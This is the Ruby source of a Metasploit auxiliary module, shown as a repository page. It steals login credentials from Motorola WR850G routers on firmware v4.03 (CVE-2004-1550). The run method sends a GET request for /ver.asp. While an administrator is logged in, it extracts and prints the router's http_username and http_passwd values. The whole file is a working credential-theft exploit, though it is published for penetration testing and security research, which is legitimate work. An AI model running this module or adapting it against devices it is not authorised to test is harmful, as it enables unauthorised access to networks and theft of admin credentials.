Path: blob/master/modules/auxiliary/admin/motorola/wr850g_cred.rb
19852 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Motorola WR850G v4.03 Credentials',13'Description' => %q{14Login credentials to the Motorola WR850G router with15firmware v4.03 can be obtained via a simple GET request16if issued while the administrator is logged in. A lot17more information is available through this request, but18you can get it all and more after logging in.19},20'Author' => 'kris katterjohn',21'License' => MSF_LICENSE,22'References' => [23[ 'CVE', '2004-1550' ],24[ 'OSVDB', '10232' ],25[ 'URL', 'https://seclists.org/bugtraq/2004/Sep/0339.html'],26],27'DisclosureDate' => '2004-09-24',28'Notes' => {29'Stability' => [CRASH_SAFE],30'SideEffects' => [],31'Reliability' => []32}33)34)3536register_options([37Opt::RPORT(80)38])39end4041def run42connect4344sock.put("GET /ver.asp HTTP/1.0\r\n\r\n")45response = sock.get_once4647disconnect4849if response.nil? || response.empty?50print_status('No response from server')51return52end5354# 302 Redirect55if response.split("\r\n")[0] !~ /200 Ok/56print_status('Administrator not logged in')57return58end5960user = ::Regexp.last_match(1) if response.match("http_username=([^\n]*)<br>")61pass = ::Regexp.last_match(1) if response.match("http_passwd=([^\n]*)<br>")6263print_status("Found username \"#{user}\" and password \"#{pass}\"") if user && pass64end65end666768